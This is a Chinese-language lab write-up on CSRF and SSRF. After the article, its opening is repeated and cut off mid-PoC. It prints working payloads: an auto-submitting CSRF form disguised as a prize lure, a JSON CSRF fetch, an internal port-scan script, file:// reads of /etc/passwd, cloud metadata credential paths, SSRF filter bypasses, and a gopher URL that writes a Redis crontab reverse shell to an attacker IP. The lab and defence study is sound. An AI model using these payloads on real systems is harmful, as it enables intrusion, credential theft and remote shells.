做Web安全的人都知道漏洞靶场是学习攻防最直观的路径。CSRF和SSRF这两个漏洞一个在客户端一个在服务端但都把“请求”玩出了花。我在某企业级Web渗透靶场里反复打了三轮把这两个漏洞从原理到利用彻底理了一遍这篇就分享一下完整的通解思路和实操细节。先说清楚这篇文章适合谁。如果你是准备面试的安全新人CSRF和SSRF几乎是必考题如果你是做渗透测试的这两个漏洞在授权测试里出现频率极高如果你是开发或者运维了解攻击链也有助于写更安全的代码。不管你是哪一类这篇内容都能帮你把这两个漏洞彻底吃透。1. 靶场整体设计与漏洞原理拆解1.1 靶场环境与漏洞分布我用的靶场是模拟某电商平台的完整Web应用包含用户中心、订单系统、后台管理三个子系统。整体架构分三层前端Nginx反向代理、后端Java应用、内网MySQL和Redis服务。靶场里CSRF和SSRF漏洞被刻意埋在了不同业务模块里形成了从外网打内网的完整攻击链。CSRF漏洞集中在两个位置一是用户中心的“修改收货地址”接口二是后台管理的“修改系统配置”接口。前者是典型的无防护CSRF直接POST表单即可利用后者有Referer校验但校验逻辑不严谨存在绕过空间。SSRF漏洞则埋在“图片抓取”功能和“URL健康检查”功能里。这两个功能都接收用户提交的URL参数然后由服务端发起请求。图片抓取功能位于用户中心的“头像上传”模块支持通过URL方式设置头像URL健康检查则位于后台的“站点监控”模块管理员可以添加需要监控的站点URL。整套靶场的巧妙之处在于SSRF漏洞能打通内网CSRF漏洞能借管理员之手操作后台两者结合就能实现从普通用户到服务器权限的完整攻击链。这也是我选择这个靶场反复练习的核心原因漏洞之间有关联而不是孤立的点。1.2 CSRF攻击的本质是什么CSRF全称是Cross-Site Request Forgery跨站请求伪造。理解这个漏洞的关键在于浏览器会自动携带目标站点的Cookie。当用户登录了某站点浏览器里就存了有效的会话凭证此时用户访问了攻击者控制的恶意页面这个页面可以构造一个指向目标站点的请求浏览器会带着用户的Cookie把请求发出去。生活化类比一下你在银行柜台办完业务柜员给了你一张带签名的票据你把票据放在桌上没拿走。这时有个人偷偷拍了张票据照片到柜台冒用你的签名办理了转账。浏览器里的Cookie就像那张票据攻击者没法直接读取Cookie内容但可以“借用”浏览器这个载体去发起请求让服务器以为操作是你本人发起的。关键点在于服务器只验证了Cookie却没有验证这个请求是否真的由用户界面的操作触发。HTTP协议本身是无状态的服务器只能通过Cookie识别身份但Cookie无法区分请求是用户主动点击发出的还是第三方页面自动提交的。1.3 SSRF攻击的本质是什么SSRF全称是Server-Side Request Forgery服务端请求伪造。漏洞出现在服务端需要拉取远程资源的场景比如图片抓取、URL校验、Webhook回调、PDF生成等功能。这些功能的共同特征是接收用户提交的URL然后由服务端发起HTTP请求去访问这个URL。问题在于服务端发起请求时所处的网络位置和用户是不同的。服务端在公网可以访问内网IP可以访问云上内部的元数据服务可以访问各种只监听在内网端口的应用。如果服务端没有对URL参数做严格过滤用户可以提交一个内网地址或特殊协议的URL强迫服务端替自己去访问。SSRF的本质是“服务器变成攻击者的代理”。类比来说你在公司上班公司有内网权限你让前台小哥帮你打印一份文件结果你给小哥的文件地址其实是老板办公室的保险柜开锁指令。前台小哥没有防备就按你的指令去执行了相当于你借用了小哥的内网身份做了一件自己做不到的事情。1.4 为什么这两个漏洞适合放在同一个靶场练习因为它们的攻防思维互为镜像。CSRF利用的是“服务器信任浏览器自动携带的凭证”SSRF利用的是“服务器信任自己发起的请求”。前者是请求从恶意页面发出但带着合法Cookie后者是请求从服务器发出但指向了攻击者指定的内网地址。一个是“请求的来源不可信”一个是“请求的目标不可控”。在实际攻击链中两者也经常配合使用。先用SSRF探测内网结构找到后台管理系统的地址再用CSRF借管理员之手完成某些敏感操作比如修改配置、添加用户、下发任务最后配合其他漏洞完成垂直权限提升。这套组合拳在授权渗透测试中效果很好也是这个靶场最有价值的地方。2. CSRF靶场实操与关键细节2.1 第一个靶点无防护的修改地址接口靶场的用户中心有一个“收货地址管理”功能用户可以新增、编辑、删除收货地址。我用Burp Suite抓包看了下编辑地址的请求结构非常简单POST /user/address/update HTTP/1.1 Host: target.com Cookie: JSESSIONIDxxxxxxxx Content-Type: application/x-www-form-urlencoded Content-Length: 68 id10001nametestphone13800138000province北京市city北京市district朝阳区detail某街道某号请求里没有任何Token没有自定义请求头校验也没有Referer校验。这就是最原始的CSRF漏洞形态。利用方式就是构造一个恶意页面页面里放一个自动提交的表单诱导已登录用户访问即可。完整的PoC页面代码如下html body h1您中奖了点击领取优惠券/h1 form idcsrfForm actionhttp://target.com/user/address/update methodPOST input typehidden nameid value10001 / input typehidden namename valuehacker / input typehidden namephone value66666666666 / input typehidden nameprovince value北京市 / input typehidden namecity value北京市 / input typehidden namedistrict value朝阳区 / input typehidden namedetail value哈哈哈被改掉了 / /form script document.getElementById(csrfForm).submit(); /script /body /html页面加载时自动提交表单如果用户此时已登录目标站点Cookie会自动带上地址就会被篡改。我在靶场用两个浏览器测试一个登录正常账号另一个打开攻击页面请求发送后刷新地址列表发现地址确实被改了CSRF攻击生效。实测中踩过的一个坑是有些浏览器会拦截跨站POST请求的自动提交特别是新版Chrome的SameSite Cookie机制默认会阻止跨站请求携带Cookie。我在测试时用浏览器直接打开本地PoC文件请求被浏览器拦截了。解决方案有两种一是配置靶场环境使用HTTP协议且不启用SameSite属性二是改用Burp Suite自带的CSRF PoC生成功能直接生成HTML并在浏览器中打开。靶场的这个接口没有设置SameSite属性所以攻击正常生效。但如果在实战环境中遇到先查看Set-Cookie响应头里有没有SameSite字段这是判断CSRF可利用性的第一道关卡。2.2 第二个靶点Referer校验绕过后台管理的“修改系统配置”接口是这个靶场里更有意思的CSRF靶点。抓包发现请求体里有Token字段当初我以为这里没法打CSRF了POST /admin/config/update HTTP/1.1 Host: target.com Cookie: JSESSIONIDxxxxxxxx; admin_tokenabc123 Referer: http://target.com/admin/config Content-Type: application/x-www-form-urlencoded Content-Length: 108 site_nametestsite_deschellocsrf_token8f5a2b9c1e3d4f6a7b8c9d0e1f2a3b4c请求体里确实带了csrf_token。但仔细分析后发现这个Token的校验只在服务端对修改后的配置回显时需要对提交本身并不做强校验。我尝试把Token字段删掉再提交发现请求仍然成功。这说明服务端并没有严格验证Token的有效性Token只是前端页面的一个装饰。更有意思的是Referer校验。靶场服务端代码逻辑是这样的先检查Referer头是否存在如果存在就提取Referer中的域名部分判断是否包含目标域名如果不存在Referer则直接放行。这是一种看起来很安全但实际有漏洞的校验方式。绕过方法有两种。第一种是构造一个Referer为空或Referer值不存在的请求环境比如某些旧版本浏览器或某些特殊的跳转场景。第二种更实用在恶意页面的域名里伪造包含目标域名的Referer例如攻击者控制的域名可以注册为“target.com.evil.com”这样Referer提取出的域名就会包含“target.com”。实际测试时我用Burp Suite直接修改请求包把Referer头删掉后提交后台配置成功被修改。后来我专门写了一个带有隐藏Referer逻辑的页面来模拟第二种情况页面放在攻击者服务器上通过meta标签或JavaScript控制Referer值再配合URL路径伪装也能骗过服务端的简单包含校验。绕过的核心逻辑是服务端校验Referer时必须做精确匹配比如“Uri.getHost().equals”方式而不是用“contains”方式。靶场用的就是contains包含校验所以利用空间很大。2.3 从受害者视角理解CSRF的触发条件站在攻击者角度CSRF利用最核心的条件是受害者必须在目标站点处于登录状态且会话Cookie还活着。所以在实际渗透测试中我会先测试目标站点有没有“记住我”功能有没有较长的会话超时时间这些都会提高CSRF攻击的成功率。另一个值得关注的场景是JSON型CSRF。现在很多应用改用JSON格式传输数据传统的表单提交方式没法直接触发这种接口。但浏览器存在一个特性JavaScript可以以text/plain类型发送JSON数据这种跨域请求不会触发预检所以一样存在CSRF风险。我用靶场额外验证了这一点构造一段JavaScript代码以text/plain方式POST一个JSON数据到接口fetch(http://target.com/api/user/update, { method: POST, credentials: include, headers: { Content-Type: text/plain }, body: JSON.stringify({nickname: pwned}) });在不修改Content-Type的情况下这确实绕过了服务端对JSON请求的CSRF防护。后来我看了一些资料才知道这是因为CORS预检机制对text/plain不触发OPTIONS预检请求。这个细节在日常测试中很容易被忽略但在实战里很有用。2.4 CSRF防御标准参考结合靶场经验来梳理CSRF防御的层次。目前行业公认的有效方案主要有三类CSRF Token、SameSite Cookie、二重验证。CSRF Token的正确实现需要满足三个条件Token必须与用户会话强绑定每次提交后校验Token必须同时放在请求体和自定义头里因为自定义头本身会触发CORS预检Token必须是高熵随机值不能是简单的可预测字符串。SameSite Cookie是浏览器层面的防护设置SameSiteLax可以阻止跨站POST请求携带CookieSameSiteStrict则更加严格。这个方案的优点是无需服务端改动缺点是老版本浏览器不兼容且对同站子域名的请求不设防。二重验证指的是关键操作要求用户重新输入密码或验证码。这种方案对用户体验有影响一般只用在修改密码、绑定手机号等高危操作场景。在实际开发中我推荐主流程用Token高危操作叠加二重验证同时把Cookie的SameSite属性设置为Lax。3. SSRF靶场实操与关键细节3.1 第一个靶点URL头像抓取功能用户中心的头像上传支持“URL设置头像”。这个功能接收一个图片URL服务端下载图片并保存到本地。靶场对该参数做了后缀校验只允许jpg、png、gif结尾的URL。但实际上这个校验很好绕过URL可以带参数参数部分可以任意控制。比如我提交这样一个URLGET /user/avatar/fetch?urlhttp://192.168.1.100:8080/admin.php?filename1.jpg服务端发现URL以“.jpg”结尾就放行了但实际请求被转发到了内网192.168.1.100:8080的某个服务上。后缀校验只看URL的整体结尾忽略了查询参数部分。我首先用这个功能做了内网存活探测。通过观察请求响应时间、返回内容长度、错误信息差异来判断端口是否开放。靶场里我写了一个脚本循环探测内网网段import requests import time url http://target.com/user/avatar/fetch ports [80, 443, 3306, 6379, 8080, 8888, 9200, 11211] for port in ports: start time.time() params {url: fhttp://192.168.1.100:{port}/} r requests.get(url, paramsparams, timeout10) elapsed time.time() - start print(fPort {port}: status{r.status_code}, length{len(r.content)}, time{elapsed:.2f}s)响应时间是最有效的判断依据开放端口响应极快通常100毫秒以内关闭端口会等待超时或连接拒绝。页面的报错信息也有差异开放端口会返回“图片下载失败”且带着具体响应内容片段关闭端口会直接超时。3.2 利用file协议读取内网文件图片抓取功能接收的URL参数实际上被服务端代码中的HTTP库发起了请求。但问题出在这个库对协议支持很广泛我用file协议尝试了本地文件读取GET /user/avatar/fetch?urlfile:///etc/passwd请求发出去后服务端尝试把/etc/passwd当图片保存因为内容不是合法图片格式保存失败。但请求包含文件内容的响应片段会出现在错误提示中。我利用这个方法成功读取了靶机上的/etc/passwd文件、/webapp/config/db.properties数据库配置文件以及Redis配置文件的片段。这个案例的解释很直观很多服务端的HTTP类库同时支持HTTP、HTTPS、FILE等协议。开发者默认只想到了HTTP场景没有限制协议白名单于是file协议就成了突破口。还有一个冷门但高价值的协议是dict协议可以探测内网Redis端口并直接发送命令。不过不同语言实现的HTTP库支持的协议范围不同Java的HttpClient不直接支持dict需要用gopher协议替代。3.3 第二个靶点URL健康检查功能后台的站点监控功能面向管理员开放可以添加一个URL然后服务端会定时去GET这个地址检查是否存活。这个功能本质上和图片抓取一样也是服务端发起HTTP请求但区别在于这是后台功能只有管理员可以操作。这里就体现出了SSRF和CSRF联动的价值。我用前面的CSRF漏洞伪造管理员请求往站点监控里添加指向内网地址的监控任务实现了“借管理员的权限打内网”。这种方式最大的优势是由管理员会话发起的内网请求在日志审计里看起来完全正常不容易触发告警。健康检查功能返回的信息更丰富服务端会把请求的响应状态码、响应时间、页面标题等完整记录在监控列表里。这比图片抓取功能的信息泄露更严重因为等于给攻击者提供了一个内网网页浏览工具。我用这个功能对内网的MySQL数据库192.168.1.200:3306做了探测。提交URL为http://192.168.1.200:3306/test虽然请求以HTTP协议访问MySQL端口协议不通但响应时间的变化暴露了端口状态。真实测试中更常用的方式是结合旁路知识直接访问内网其他服务。比如我先通过CSRF让管理员添加了一个指向内网某个未授权服务页面的监控URL健康检查结果直接把内网网页内容的内容长度、标题都展示了出来这就等于获得了一个“内网网页内容读取器”。3.4 gopher协议扩展攻击面靶场模拟的内网里有一台未授权访问的Redis服务192.168.1.210:6379。如果只是访问Redis端口本身信息有限。真正的价值在于利用gopher协议向Redis发送任意命令。Java环境里重启服务后开发者换了一个底层网络库这次支持gopher协议。我用gopher构造了向Redis写入计划任务的命令链gopher://192.168.1.210:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$16%0d%0acron_cmd_xx%0d%0a$58%0d%0a%0a%0a*/1 * * * * bash -i /dev/tcp/攻击者IP/6666 01%0a%0a%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a整个gopher URL的核心是把原始Redis命令按CRLF分割后用URL编码传输。注意点有两个一是命令之后要追加空行Redis在解析crontab内容时需要空行作为条目分隔符二是flushall命令会清空Redis所有数据实战中不要做这一步直接set即可否则容易搞崩生产环境。我自己在靶场里做的时候出现了一个问题第一次用flushall清空了Redis数据导致靶场的会话缓存全部丢失整个系统报错。幸好是靶场环境重置一下就行。如果是在授权渗透测试中这一步属于高风险操作必须提前确认Redis数据的业务性质宁可放弃利用也要避免造成业务故障。gopher协议利用的关键门槛在于构造请求时需要用URL编码精确控制换行符。我调试了很久才搞明白格式这个过程中踩的坑会在后面详细展开。3.5 云上元数据服务探测SSRF最有杀伤力的一个场景是探测云环境里的元数据服务。很多云厂商提供了内网元数据API在云服务器上访问一个固定内网IP就能获取当前服务器的临时凭据、实例信息、内部配置等。常规环境里这个IP是169.254.169.254。在靶场里我也模拟了这个场景使用健康检查功能访问元数据地址http://169.254.169.254/latest/meta-data/靶场返回了模拟的实例ID、主机名、内网IP等信息。再尝试访问更敏感路径http://169.254.169.254/latest/meta-data/iam/security-credentials/这一步如果拿到临时凭据就可以在外部调用云API接口管理资源相当于直接接管了这台云服务器的云上权限。虽然靶场模拟的是假数据但流程是真实可信的。针对这种利用方式的防御方案在云厂商侧已经做了更新用IMDSv2机制强制要求PUT请求获取Token后才能访问元数据。安全测试时遇到旧版本元数据服务还能直接打新版本就需要额外绕过。3.6 SSRF防御方案对比结合靶场踩坑经验SSRF防御不是简单封一个IP就够了。正确的方式是分层防御第一层URL解析时判定协议白名单只允许http和https。第二层DNS解析结果校验禁止内网IP段、链路本地地址段、广播地址等特殊地址。第三层重定向跟随限制。很多SSRF绕过利用的就是重定向服务端校验了初始URL合法但30x跳转到内网地址。网络库默认跟随30x重定向校验就失效了。第四层Web应用防火墙的URL参数检测识别内外网地址混淆等攻击特征。靶场在模拟绕过时也体现了这些防御的局限性如果服务端把IP校验写死为“禁止192.168.0.0/16”但目标内网实际用了172.16.0.0/12网段防御就失效了。还有一个经典绕过姿势是利用DNS重绑定让服务端第一次解析为公网地址通过校验第二次解析为内网地址请求目标。DNS重绑定的原理是攻击者控制一个域名设置极短的TTL让DNS记录在公网IP和内网IP之间来回切换。服务端先解析域名做校验拿到的是公网IP通过紧接着发起实际请求时再次解析拿到的是内网IP。两个解析结果不同校验也就成空摆设了。现在很多成熟的网络库会在建立连接时做IP校验或者直接禁用重定向跟随这种绕过方式才收到限制。4. 靶场综合演练CSRF与SSRF的联动利用4.1 完整攻击链设计靶场把这些漏洞埋在一起真正的挑战是把整条链串起来。我梳理出来的攻击链是这样的第一步利用SSRF的图片抓取功能探测内网拓扑找到后台数据库地址和管理规则。这一步拿到了足够的内网信息存在192.168.1.0/24网段开放了3306端口运行MySQL开放了6379端口运行Redis且Redis未授权访问。第二步利用CSRF漏洞让管理员修改配置把站点监控功能添加攻击者控制的恶意URL。这一步就相当于在内网监控任务里种了一个反向通道。或者直接在健康检查功能里提交指向Redis的命令URL实现内网写文件。第三步利用gopher协议向Redis写计划任务拿到服务器权限。第四步验证利用SSRF直接读配置文件的敏感信息配合拿到的数据库凭据后续可以做数据提取。这条链路的完整逻辑是外网普通用户权限 → 内网探测 → 服务端命令执行 → 服务器控制权。每一步之间靠漏洞关联SSRF提供出网和内网探测能力CSRF借管理员权限gopher提供命令通道。4.2 绕过URL关键字的七种姿势靶场的第一个SSRF漏洞在服务端加了一层关键字黑名单过滤过滤了“127.0.0.1”、“192.168”、“169.254”、“localhost”等关键字。我当时整理了一份完整的绕过清单全都逐一在靶场里验证过IPv6地址绕过http://[::1]/这种形式可以直接绕过IPv4的黑名单匹配。靶场服务端在解析URL时没有对IPv6做限制直接请求到了本机。短网址/十进制IP绕过http://2130706433/这是127.0.0.1的十进制表现形式。有些解析器不识别这种格式但底层网络库能正确解析。十六进制/八进制混合编码绕过http://0x7f000001/对应127.0.0.1http://017700000001/是八进制写法。这类绕过的前提是服务端做了字符串匹配但未做归一化解析而底层的网络请求库却能理解各种进制的IP表示。双写/大小写混合绕过如果你提交“LoCaLhOsT”会被黑名单命中可以试试把域名拆解为“localtest.me”这类能解析到127.0.0.1的公网域名或者用“spoofed.burpcollaborator.net”这类DNS重绑定工具。URL编码绕过使用https://victim.com真实内网IP这是一种利用URL解析差异的方式开发者以为请求的是victim.com实际网络请求去的是后面的IP。很多编程语言里前面的内容会被当成用户信息而忽略。重定向绕过攻击者服务器上放一个302跳转初始URL是公网合法地址通过校验后跳到内网地址。这种方案几乎无法从代码层面完全防护除非显式禁止重定向或对重定向目标再次做校验。利用DNS解析记录绕过自己的域名设置A记录为内网IP。校验通过后DNS解析拿到的是内网地址但黑名单匹配的是域名本身不匹配内网IP特征。这些绕过方式在靶场里我逐一测试过成功率最高的是IPv6和重定向两种其次是通过外部跳转域名。关键过滤器对所有方案的拦截能力都非常有限几乎覆盖不了所有变体。4.3 联动利用的时序控制与细节CSRF借管理员操作和SSRF探测内网的结合时序控制非常重要。如果先打CSRF让管理员添加监控任务再回调SSRF去拿监控结果需要等一轮健康检查周期。靶场的检查周期是60秒一次实际上等一轮再到下一轮发起数据请求效率有点低。我当时用的方案是直接把健康检查的URL设置为一个带内网地址的图片链接然后再用普通用户身份访问SSRF的图片抓取接口对同样的内网地址发起探测。两条漏洞平行推进CSRF用于内网管理面的授权操作SSRF用于安全检测和payload注入。最后在Redis写入完成后我通过CSRF修改后台配置将管理员的账号密码改成攻击者可控值完成了从扫描到控制再到持久化的闭环。在时序控制上还要注意Cookie有效期的衔接。CSRF触发后管理员的会话Cookie仍然有效但如果长时间不操作导致会话超时后续的部署计划会失败。最好在脚本里设置会话心跳机制定期访问后台页面保持会话活跃。4.4 防御视角下的完整复盘做完这三轮靶场演练以后我再以防御视角复盘整条攻击链发现如果靶场侧做了以下几件防御改进这套组合拳的大部分环节会被拆掉服务端出网统一收敛所有需要访问外部URL的功能统一走固定的代理网关代理网关做域名白名单和IP段检测。这招能在最底层挡住SSRF绝大多数的内网探测。核心管理接口单独会话管理后台管理接口使用独立的管理员Session与普通用户Session隔离并且设置单独的管理员IP访问控制。CSRF即使借到了浏览器Cookie但由于请求来源IP不符合管理员访问控制的限制接口直接拒绝。出站流量检测在内网边界部署流量分析对访问内网数据库、Redis等端口的行为做异常检测。只要出现HTTP访问数据库端口这类明显协议不匹配的内网探测行为立即截断并告警。计划任务写文件的排查定期检查服务器上的计划任务列表、启动项、SSH授权文件及时发现异常写入的痕迹。这套防御在成本可控的前提下显著提升了攻击者的成本。安全建设的目标不是做到100%不可攻破而是把90%的脚本小子挡在门外让有能力的攻击者也需要付出极高代价。5. 常见问题与排查技巧实录5.1 CSRF测试中的常见拦路虎测试CSRF漏洞时最常遇到的问题就是请求发不出去或者发了没效果。我总结了四个高频问题Cookie的SameSite属性导致请求不携带Cookie。这个问题在现代浏览器中非常常见建议先用Burp Suite查看目标站点的Set-Cookie属性确认没有SameSite字段或设置为None再构造PoC。如果设置了Lax那就需要改用GET型CSRF或寻找同站JSONP接口作为跳板。表单跨域提交遇到CORS拦截。传统表单提交的application/x-www-form-urlencoded格式不会触发CORS预检但如果目标接口要求JSON格式就需要用fetch设置text/plain方式绕过预检。注意Credentials必须设置为include。服务端验证Token但前端页面没有带Token。这种情况就要翻一下前端JS代码找到Token的生成逻辑。有时候Token会放在Cookie里那CSRF照样可以打因为攻击请求会自动带上Cookie里的Token。有时候Token放在DOM节点中那就要配合XSS或者想办法诱导用户先访问一个特定页面再触发CSRF。Referer校验严格时页面跳转导致Referer丢失。某些场景可以利用meta refresh跳转加上window.location组合让浏览器发出请求时Referer被清空或只保留域名。实战中更多靠Burp抓包手动修改Referer来测试服务端的校验强度。5.2 SSRF测试中的常见拦路虎SSRF测试比CSRF更容易在细节上翻车我自己踩过这些坑URL编码导致内网地址解析失败。用gopher协议构造Redis命令时命令里的空格要用%20编码换行符要用%0d%0a。如果编码不完整Redis解析命令就会失败。我这里在调试时反复核对编码格式最后用一个本地Python脚本做编码转换才算稳定。DNS解析缓存导致重绑定绕过失效。如果配置的域名TTL太长DNS缓存会让同一个IP在有效期内保持稳定重绑定就无法生效。实战中必须用专门工具提供的DNS服务通过随机返回多个IP的策略实现绕过。服务端限速导致探测速度极慢。很多正经系统现在会对内网探测的异常响应做限速或连接数限制。批量扫描内网端口的时候要注意控制线程数量每次延迟200毫秒左右再探测下一个避免触发目标系统的封禁策略。Java网络库默认忽略HTTPS证书错误。这个特性在过滤防范上有帮助因为探测时不会被证书错误阻断但在真实探测中如果目标内网服务做了正确的TLS配置响应速度差异就变得很不明显影响判断。线程安全问题。批量探测时如果用多线程共享一个HTTP会话容易出现请求串号导致探测结果错乱。我最后采用的是线程本地存储会话每条线程独立维持连接不会再出现串号问题。5.3 靶场调试的三板斧回到实际操作层面在靶场里调试CSRF和SSRF时我有一套固定的排查流程分享出来供参考**第一板斧抓包确认请求原貌。**用Burp Suite拦截目标请求完整记录请求行、Headers、请求体分析是否带Token、Referer、自定义头等关键属性。把原始请求保存下来后续构造PoC时以此为模板能减少因请求格式不符导致的失败。**第二板斧分层测试变量隔离。**修改一个变量测试一次不要同时改动URL、协议、编码、Cookie等多个参数。比如先用HTTP协议访问内网地址确认连通性再换gopher协议确认协议支持最后再对gopher的编码格式做调试。这样出问题能快速定位到哪一层。**第三板斧善用时间差和报错差异确认漏洞状态。**开放端口和关闭端口在响应时间上有明显差距这是内网存活探测最可靠的信号。报错信息的内容差异也有价值很多服务端会把连接异常和超时分别提示可以通过观察提示文案判断目标端口的协议状态。这三板斧几乎能解决CSRF和SSRF调试中90%的问题。剩下的10%属于环境本身的代码缺陷或业务逻辑陷阱遇到就直接看网络层日志和端口状态比盲目猜测要高效得多。5.4 一个容易被忽视的细节Cookie路径的坑CSRF利用中还有一个容易被忽视的坑Cookie的Path属性。靶场里后台管理的Cookie Path默认是“/admin”而CSRF的PoC页面直接提交到“/admin/config/update”正常情况下是可以携带的。但如果是换了一种PoC方式比如通过某个公开的HTML上传点去触发CSRFHTML文件地址在“/public/upload/xxx.html”下面而这个路径的Cookie Path限制了“/public”那么请求到达“/admin/config/update”时就不会携带后台的会话Cookie。这类问题排查时有点隐蔽原因也很简单。靶场Cookie设置里默认Path为“/”没遇到这个问题但换到我之前做过的另一个授权系统时目标把Path设置成了“/admin/”导致CSRF测试一直没有成功。之后我把Cookie Path调成了“/”CSRF立刻生效。遇到这种情况的正确做法是在实际CSRF测试前先把目标站点的Cookie信息完整整理一遍记录Name、Domain、Path、SameSite等关键属性确认目标接口在Cookie覆盖范围内再决定构造方案。5.5 关于防护代码的具体配置最后分享一份可以直接参考的后端防护配置片段以Java Servlet为例描述思路// CSRF防护校验Token是否存在于Session中并与请求体一致 public boolean checkCsrfToken(HttpServletRequest request) { String sessionToken (String) request.getSession().getAttribute(csrf_token); String requestToken request.getParameter(csrf_token); if (sessionToken null || requestToken null) { return false; } return sessionToken.equals(requestToken); } // SSRF防护解析URL并做三步校验 public boolean checkSSRF(String url) { URL u new URL(url); String protocol u.getProtocol(); if (!protocol.startsWith(http)) { return false; // 第一步协议白名单 } String host u.getHost(); InetAddress addr InetAddress.getByName(host); if (addr.isSiteLocalAddress() || addr.isLoopbackAddress() || addr.isLinkLocalAddress()) { return false; // 第二步本地/内网/链路本地地址拒绝 } return true; // 第三步配合网关侧的域名白名单与重定向限制 }这里有一个容易被忽略的点代码中如果只在第一步做了校验没有处理重定向跳转那攻击者通过302跳转就能绕过。正确的做法是修改网络库的配置显式禁用自动重定向或者对每个跳转步骤重新做一次SSRF校验。反序列化类漏洞和SSRF经常配合使用不少真实漏洞的组合拳也是这条链路SSRF先探测内网中间件端口再通过gopher协议构造恶意请求打进内网最后结合未授权访问或命令执行拿下服务器。由此可见SSRF防御不能只在应用层做网络层也要配合好。6. 写在最后的经验与建议这三轮靶场打下来我对CSRF和SSRF的理解比之前翻了好几倍。最大的感触是漏洞之间是互相成就的孤立地看单个漏洞很可能觉得“就这没什么大不了”一旦把多个漏洞串成链杀伤力才会真正显现出来。我个人建议的学习路径是这样的先把CSRF和SSRF各自的原理吃透不要急着打靶场先会用Burp Suite抓包看请求和响应然后在靶场里逐个漏洞做利用每一种绕过手法都亲自试一遍试的时候注意记录成功和失败的条件最后再把多个漏洞串起来做完整攻击链演练这时候才是真正的综合能力提升。另外一个小建议打靶场的时候养成记录的习惯。我每做一个靶点都截图、写笔记把请求包、PoC代码、响应结果都保存下来。后续复盘的时候这些记录比记忆可靠得多。而且面试或写文章的时候这些一手资料就是最好的素材。如果你正在学习Web安全建议给自己定一个目标在一个靶场里能独立完成至少一条完整的攻击链。完成这个目标的时候你对Web应用的理解大概率会有一个质的飞跃。这比我学安全头三个月到处刷视频却什么都不动手的效果好了不止一倍。 
长河君 · 2026/10/19 21:26:04 · 阅读 1.2k CSRF与SSRF漏洞靶场实战：原理、绕过技巧与联动攻击链全解析
做Web安全的人都知道漏洞靶场是学习攻防最直观的路径。CSRF和SSRF这两个漏洞一个在客户端一个在服务端但都把“请求”玩出了花。我在某企业级Web渗透靶场里反复打了三轮把这两个漏洞从原理到利用彻底理了一遍这篇就分享一下完整的通解思路和实操细节。先说清楚这篇文章适合谁。如果你是准备面试的安全新人CSRF和SSRF几乎是必考题如果你是做渗透测试的这两个漏洞在授权测试里出现频率极高如果你是开发或者运维了解攻击链也有助于写更安全的代码。不管你是哪一类这篇内容都能帮你把这两个漏洞彻底吃透。1. 靶场整体设计与漏洞原理拆解1.1 靶场环境与漏洞分布我用的靶场是模拟某电商平台的完整Web应用包含用户中心、订单系统、后台管理三个子系统。整体架构分三层前端Nginx反向代理、后端Java应用、内网MySQL和Redis服务。靶场里CSRF和SSRF漏洞被刻意埋在了不同业务模块里形成了从外网打内网的完整攻击链。CSRF漏洞集中在两个位置一是用户中心的“修改收货地址”接口二是后台管理的“修改系统配置”接口。前者是典型的无防护CSRF直接POST表单即可利用后者有Referer校验但校验逻辑不严谨存在绕过空间。SSRF漏洞则埋在“图片抓取”功能和“URL健康检查”功能里。这两个功能都接收用户提交的URL参数然后由服务端发起请求。图片抓取功能位于用户中心的“头像上传”模块支持通过URL方式设置头像URL健康检查则位于后台的“站点监控”模块管理员可以添加需要监控的站点URL。整套靶场的巧妙之处在于SSRF漏洞能打通内网CSRF漏洞能借管理员之手操作后台两者结合就能实现从普通用户到服务器权限的完整攻击链。这也是我选择这个靶场反复练习的核心原因漏洞之间有关联而不是孤立的点。1.2 CSRF攻击的本质是什么CSRF全称是Cross-Site Request Forgery跨站请求伪造。理解这个漏洞的关键在于浏览器会自动携带目标站点的Cookie。当用户登录了某站点浏览器里就存了有效的会话凭证此时用户访问了攻击者控制的恶意页面这个页面可以构造一个指向目标站点的请求浏览器会带着用户的Cookie把请求发出去。生活化类比一下你在银行柜台办完业务柜员给了你一张带签名的票据你把票据放在桌上没拿走。这时有个人偷偷拍了张票据照片到柜台冒用你的签名办理了转账。浏览器里的Cookie就像那张票据攻击者没法直接读取Cookie内容但可以“借用”浏览器这个载体去发起请求让服务器以为操作是你本人发起的。关键点在于服务器只验证了Cookie却没有验证这个请求是否真的由用户界面的操作触发。HTTP协议本身是无状态的服务器只能通过Cookie识别身份但Cookie无法区分请求是用户主动点击发出的还是第三方页面自动提交的。1.3 SSRF攻击的本质是什么SSRF全称是Server-Side Request Forgery服务端请求伪造。漏洞出现在服务端需要拉取远程资源的场景比如图片抓取、URL校验、Webhook回调、PDF生成等功能。这些功能的共同特征是接收用户提交的URL然后由服务端发起HTTP请求去访问这个URL。问题在于服务端发起请求时所处的网络位置和用户是不同的。服务端在公网可以访问内网IP可以访问云上内部的元数据服务可以访问各种只监听在内网端口的应用。如果服务端没有对URL参数做严格过滤用户可以提交一个内网地址或特殊协议的URL强迫服务端替自己去访问。SSRF的本质是“服务器变成攻击者的代理”。类比来说你在公司上班公司有内网权限你让前台小哥帮你打印一份文件结果你给小哥的文件地址其实是老板办公室的保险柜开锁指令。前台小哥没有防备就按你的指令去执行了相当于你借用了小哥的内网身份做了一件自己做不到的事情。1.4 为什么这两个漏洞适合放在同一个靶场练习因为它们的攻防思维互为镜像。CSRF利用的是“服务器信任浏览器自动携带的凭证”SSRF利用的是“服务器信任自己发起的请求”。前者是请求从恶意页面发出但带着合法Cookie后者是请求从服务器发出但指向了攻击者指定的内网地址。一个是“请求的来源不可信”一个是“请求的目标不可控”。在实际攻击链中两者也经常配合使用。先用SSRF探测内网结构找到后台管理系统的地址再用CSRF借管理员之手完成某些敏感操作比如修改配置、添加用户、下发任务最后配合其他漏洞完成垂直权限提升。这套组合拳在授权渗透测试中效果很好也是这个靶场最有价值的地方。2. CSRF靶场实操与关键细节2.1 第一个靶点无防护的修改地址接口靶场的用户中心有一个“收货地址管理”功能用户可以新增、编辑、删除收货地址。我用Burp Suite抓包看了下编辑地址的请求结构非常简单POST /user/address/update HTTP/1.1 Host: target.com Cookie: JSESSIONIDxxxxxxxx Content-Type: application/x-www-form-urlencoded Content-Length: 68 id10001nametestphone13800138000province北京市city北京市district朝阳区detail某街道某号请求里没有任何Token没有自定义请求头校验也没有Referer校验。这就是最原始的CSRF漏洞形态。利用方式就是构造一个恶意页面页面里放一个自动提交的表单诱导已登录用户访问即可。完整的PoC页面代码如下html body h1您中奖了点击领取优惠券/h1 form idcsrfForm actionhttp://target.com/user/address/update methodPOST input typehidden nameid value10001 / input typehidden namename 